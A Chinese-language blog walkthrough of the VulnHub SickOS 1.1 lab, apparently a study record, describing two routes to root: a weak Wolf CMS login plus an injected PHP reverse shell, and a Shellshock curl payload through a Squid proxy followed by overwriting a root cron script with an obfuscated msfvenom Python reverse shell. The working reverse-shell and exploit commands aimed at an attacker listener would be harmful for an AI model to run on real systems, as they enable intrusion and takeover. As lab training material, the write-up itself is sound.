1499 字
7 分钟
vulnhub靶机-SickOS1.1渗透全流程双解法记录
vulnhub靶机-SickOS1.1渗透全流程双解法记录
声明
- 本文为个人跟随b站up主红队笔记学习vulnhub的SickOS1.1靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
- 该靶机下载地址为’https://www.vulnhub.com/entry/sickos-11,132/‘
渗透流程一
- 在vmware部署靶机并开机后,首先打开kali对靶机进行信息收集,使用nmap执行
sudo nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.142为靶机。(192.168.245.136为kali的ip地址)
- 进行端口发现,执行
sudo nmap --min-rate 10000 -p- 192.168.245.142,并对开放端口记录用于后续渗透(或-oA输出保存)发现22,3128,8080端口,其中22,3128为开放端口,分别用于ssh连接和squid代理。
- 对端口进行详细扫描,执行
sudo nmap -sT -sV -sC -O -p22,3128,8080 192.168.245.142,并记录有用信息。

- 对端口进行漏洞扫描,执行
sudo nmap --script=vuln -p22,3128,8080 192.168.245.142未发现明显漏洞。
- 访问3128端口页面对信息进行有用信息收集,搜索squid3.1.19得知是一款HTTP代理服务器软件。

- 尝试执行
sudo dirb http://192.168.245.142:3128对3128端口尝试目录爆破,看看有没有新的发现。
- 3128没有发现,考虑到3128是代理服务器软件,尝试用3128端口代理扫描该靶机,执行
sudo dirb http://192.168.245.142 -p http://192.168.245.142:3128,看到了很多目录。
- 设置代理服务器访问网站发现收获不大,有一个BLEHHH!大概表示厌烦的情绪。

- 查看robots.txt,发现一个目录/wolfcms,前往访问(注意保持代理开启)。

- 简单看了看页面后,猜测cms会有后台登陆页面,后面加/?admin搜索,成功找到了这个页面,可以去github上搜索以下该项目原码,发现没有默认登录密码,尝试一下常见用户名和密码,有时可以碰巧登录,或者尝试字典爆破,当尝试到admin/admin时成功登录。

- 看到可编辑的php代码我们想到可以加入一句话木马,在加载时执行,如图选中,写入
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.245.136/443 0>&1'");?>,让它连接我们的kali的443端口(优先选择不易拦截端口)。
- kali虚拟机打开监听443端口等待连接。

- 点击wolfcms页面的articles标签后,kali连接成功,执行指令查看当前用户身份,状态以及目录信息。

- 查看config.php时候看到了一个数据库用户名密码,这个密码很有可能能登录一些系统用户,我们执行一下
cat /etc/passwd找一下有价值的用户。
- 对www-data,sickos等用户尝试ssh连接,试试config.php里面的密码,发现sickos可以连接成功。

- 查看sickos拥有all权限,进行
sudo /bin/bash提权,拿到root的shell,寻找一番找到了flag,至此SickOS1.1靶机的渗透结束。

渗透流程二
- 对于第一种方法了解了squid3.1.19后如果执行
sudo nikto -h 192.168.245.142 -useproxy http://192.168.245.142:3128可以用3128端口对其进行漏洞扫描,分析后发现了一个shellshock的高危漏洞,接下来考虑利用。
- 搜索该漏洞编号找到的一个验证指令为
sudo curl -v --proxy http://IP:3128 http://IP/cgi-bin/status -H "Referer:() { test; }; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit",如果返回id内容说明存在漏洞。
- 发现漏洞真实性后,使用msfvenom生成一段反弹shell的payload:
0<&154-;exec 154<>/dev/tcp/192.168.245.136/443;sh <&154 >&154 2>&154替换上一步的echo后的指令,复制一个kali会话监听443端口,并执行拼接的指令sudo curl -v --proxy http://192.168.245.142:3128 http://192.168.245.142/cgi-bin/status -H "Referer:() { test; }; 0<&154-;exec 154<>/dev/tcp/192.168.245.136/443;/bin/sh <&154 >&154 2>&154"(这里原本payload的sh改为/bin/sh否则因路径不匹配无法连接)。

- 由于反弹的shell交互性不太好,可以执行
python -c "import pty;pty.spawn('/bin/bash')",优化shell交互性。
- cd到/var/www目录下发现一个connect.py文件,查看后发现文本提示计划任务,我们去其他目录寻找执行此文件的计划任务,去/etc/cron.d/查看各个文件内容,发现了执行connect.py的任务文件,并且是root权限执行,因此我们想到修改connect.py文件内容来获得更高权限的shell。

- 继续使用msfvenom生成python格式的payload,指令为
sudo msfvenom -p cmd/unix/reverse_python lhost=192.168.245.136 lport=444 -f raw,生成的payload为exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNp9j8EKwjAQRH8l9JSARBNjUSSHIhVEVLC9FxsjLdYkdNP/1zYBbz0ts292hm0/zvYegVVv7dECIQRD7XqrNMAkLaD9b6DGgpcJ23HK0i3lYkPZOk0CGyOkECIokCGNhoGjyo7V6ZqXoSOsitvhXBXlPc8uJN5SZY3RymM8Fk7mMZ1EboE+B8cx0FfbaWMxmSyreczmMY/Yyf/vVD26DifLujVLaBLyBSijU94=')[0])))前往保存到connect.py。
- 开启kali的444端口等待计划任务执行连接,连接后拿到root的shell,意味着渗透成功。

其它补充
- linux系统下定时任务通常含有’cron’,可以搜索相关目录:
- /etc/crontab:系统全局的 crontab 配置文件,直接定义系统级定时任务。
- /etc/cron.d/目录:存放自定义的系统级定时任务文件
- /etc/cron.hourly/、/etc/cron.daily/、/etc/cron.weekly/、/etc/cron.monthly/:按执行频率分类的脚本目录,系统会自动定时执行这些目录下的可执行脚本。
- /etc/cron.deny、/etc/cron.allow:控制哪些用户可以使用 crontab 的权限文件。
- 方法二保存python的payload的时候,可能由于shell交互性差编辑困难的问题,打开后按O之后直接粘贴payload,按esc输入
回车即可,可以通过cat检验一下保存的python代码是否正确。 - 本机对基础有一定门槛,从中可以学到很多思路,如利用代理应用程序扫描和爆破,对潜在目录和弱密码的猜测(这种情况有时可能很常见),对于收集到的漏洞,cms平台,squid代理应该多去搜索相关信息,将有利于渗透工作的开展。
vulnhub靶机-SickOS1.1渗透全流程双解法记录
http://124.70.202.140/posts/post-6/6/ 部分信息可能已经过时







